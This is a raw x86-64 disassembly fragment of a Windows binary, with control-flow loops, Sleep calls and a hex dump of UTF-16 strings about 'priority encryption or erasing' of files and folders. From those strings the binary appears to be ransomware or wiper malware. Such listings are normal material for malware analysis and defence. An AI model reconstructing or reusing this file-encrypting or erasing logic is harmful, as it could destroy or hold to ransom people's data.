    00450a90lea rcx, [rbp+72]
    00450a94lea rdx, [rip+601]
    00450a9bmov rax, [rip+0x13406]
    00450aa2mov r8, [rax]
    00450aa5call fn_40d230
    00450aaalea rcx, [rbp+64]
    00450aaemov rdx, [rbp+72]
    00450ab2call fn_40d820
    00450ab7mov rcx, [rbp+64]
    00450abbmov dl, 1
    00450abdcall fn_439060
    00450ac2xor ecx, ecx
    00450ac4call fn_4392a0
    00450ac9
    00450ac9loc_450ac9:
    00450ac9mov rax, [rip+0x133d8]
    00450ad0mov rcx, [rax]
    00450ad3call fn_44e970
    00450ad8jmp 0x450bcc
    00450add
    00450addloc_450add:
    00450addmov rax, [rip+0x134dc]
    00450ae4cmp [rax+307], 0
    00450aebjne 0x450b41
    00450aedmov rax, [rip+0x134cc]
    00450af4cmp [rax+308], 0
    00450afbjne 0x450b41
    00450afdjmp 0x450b09
    00450aff
    00450affloc_450aff:
    00450affmov ecx, 10000
    00450b04call Sleep
    00450b09
    00450b09loc_450b09:
    00450b09xor ecx, ecx
    00450b0bxor edx, edx
    00450b0dlea r8, [rip-6932]
    00450b14xor r9, r9
    00450b17mov [rsp+32], 0
    00450b1fmov rax, [rip+0x133f2]
    00450b26mov [rsp+40], rax
    00450b2bcall fn_40bb20
    00450b30test rax, rax
    00450b33je 0x450aff
    00450b35mov ecx, 5000
    00450b3acall Sleep
    00450b3fjmp 0x450b4f
    00450b41
    00450b41loc_450b41:
    00450b41mov rax, [rip+0x13478]
    00450b48mov [rax+317], 1
    00450b4f
    00450b4floc_450b4f:
    00450b4fmov rax, [rip+0x1346a]
    00450b56cmp [rax+308], 0
    00450b5dje 0x450ba1
    00450b5fxor ecx, ecx
    00450b61mov dl, 1
    00450b63call fn_439060
    00450b68lea rcx, [rbp+56]
    00450b6clea rdx, [rip+457]
    00450b73mov rax, [rip+0x1332e]
    00450b7amov r8, [rax]
    00450b7dcall fn_40d230
    00450b82lea rcx, [rbp+48]
    00450b86mov rdx, [rbp+56]
    00450b8acall fn_40d820
    00450b8fmov rcx, [rbp+48]
    00450b93mov dl, 1
    00450b95call fn_439060
    00450b9axor ecx, ecx
    00450b9ccall fn_4392a0
    00450ba1
    00450ba1loc_450ba1:
    00450ba1mov rax, [rip+0x13300]
    00450ba8mov rcx, [rax]
    00450babcall fn_44ec90
    00450bb0jmp 0x450bbc
    00450bb2
    00450bb2loc_450bb2:
    00450bb2mov ecx, 1000
    00450bb7call Sleep
    00450bbc
    00450bbcloc_450bbc:
    00450bbcmov rax, [rip+0x133fd]
    00450bc3cmp [rax+317], 0
    00450bcaje 0x450bb2
    00450bcc
    00450bccloc_450bcc:
    00450bccadd ebx, 1
    00450bcfsub esi, 1
    00450bd2test esi, esi
    00450bd4jne 0x450a31
    00450bda
    00450bdaloc_450bda:
    00450bdanop
    00450bdbmov rax, [rip+0x133de]
    00450be2cmp [rax+308], 0
    00450be9je 0x450c09
    00450bebxor ecx, ecx
    00450bedmov dl, 1
    00450befcall fn_439060
    00450bf4lea rcx, [rip+405]
    00450bfbmov dl, 1
    00450bfdcall fn_439060
    00450c02xor ecx, ecx
    00450c04call fn_4392a0
    00450c09
    00450c09loc_450c09:
    00450c09mov rcx, [rip+0x13298]
    00450c10mov rdx, [rbp+88]
    00450c14call fn_40d850
    00450c19nop
    00450c1a
    00450c1aloc_450c1a:
    00450c1alea rcx, [rbp+48]
    00450c1ecall fn_40bcf0
    00450c23lea rcx, [rbp+56]
    00450c27call fn_40bd90
    00450c2clea rcx, [rbp+64]
    00450c30call fn_40bcf0
    00450c35lea rcx, [rbp+72]
    00450c39call fn_40bd90
    00450c3elea rcx, [rbp+88]
    00450c42call fn_40bcf0
    00450c47lea rsp, [rbp+96]
    00450c4bpop rbx
    00450c4cpop rsi
    00450c4dpop rbp
    00450c4eret
    00450980
    00450c4f
    00450c4f // align 0x10
    00450c50
    00450c50fn_450c50:
    00450c50push rbp
    00450c51push rbx
    00450c52sub rsp, 40
    00450c56mov rbp, rsp
    00450c59mov rbx, rdx
    00450c5clea rcx, [rbx+48]
    00450c60call fn_40bcf0
    00450c65lea rcx, [rbx+56]
    00450c69call fn_40bd90
    00450c6elea rcx, [rbx+64]
    00450c72call fn_40bcf0
    00450c77lea rcx, [rbx+72]
    00450c7bcall fn_40bd90
    00450c80lea rcx, [rbx+88]
    00450c84call fn_40bcf0
    00450c89lea rsp, [rbp+40]
    00450c8dpop rbx
    00450c8epop rbp
    00450c8fret
    00450c50
    00450c90
    00450c90 b0 04 02 00 ff ff ff ff 28 00 00 00 53 00 74 00 ........(...S.t.
    00450ca0 61 00 72 00 74 00 20 00 6f 00 66 00 20 00 70 00 a.r.t. .o.f. .p.
    00450cb0 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 r.i.o.r.i.t.y. .
    00450cc0 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 e.n.c.r.y.p.t.i.
    00450cd0 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 72 00 o.n. .o.r. .e.r.
    00450ce0 61 00 73 00 69 00 6e 00 67 00 2e 00 00 00 00 00 a.s.i.n.g.......
    00450cf0 40 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 @...T.r.y. .t.o.
    00450d00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
    00450d10 20 00 66 00 69 00 6c 00 65 00 20 00 28 00 70 00 .f.i.l.e. .(.p.
    00450d20 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 29 00 r.i.o.r.i.t.y.).
    00450d30 3a 00 20 00 00 00 00 00 44 00 00 00 54 00 72 00 :. .....D...T.r.
    00450d40 79 00 20 00 74 00 6f 00 20 00 65 00 6e 00 63 00 y. .t.o. .e.n.c.
    00450d50 72 00 79 00 70 00 74 00 20 00 66 00 6f 00 6c 00 r.y.p.t. .f.o.l.
    00450d60 64 00 65 00 72 00 20 00 28 00 70 00 72 00 69 00 d.e.r. .(.p.r.i.
    00450d70 6f 00 72 00 69 00 74 00 79 00 29 00 3a 00 20 00 o.r.i.t.y.).:. .
    00450d80 00 00 00 00 b0 04 02 00 ff ff ff ff 29 00 00 00 ............)...
    00450d90 50 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 P.r.i.o.r.i.t.y.
    00450da0 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
    00450db0 69 00 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 i.o.n. .o.r. .e.
    00450dc0 72 00 61 00 73 00 69 00 6e 00 67 00 20 00 63 00 r.a.s.i.n.g. .c.
    00450dd0 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 o.m.p.l.e.t.e.d.
    00450de0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................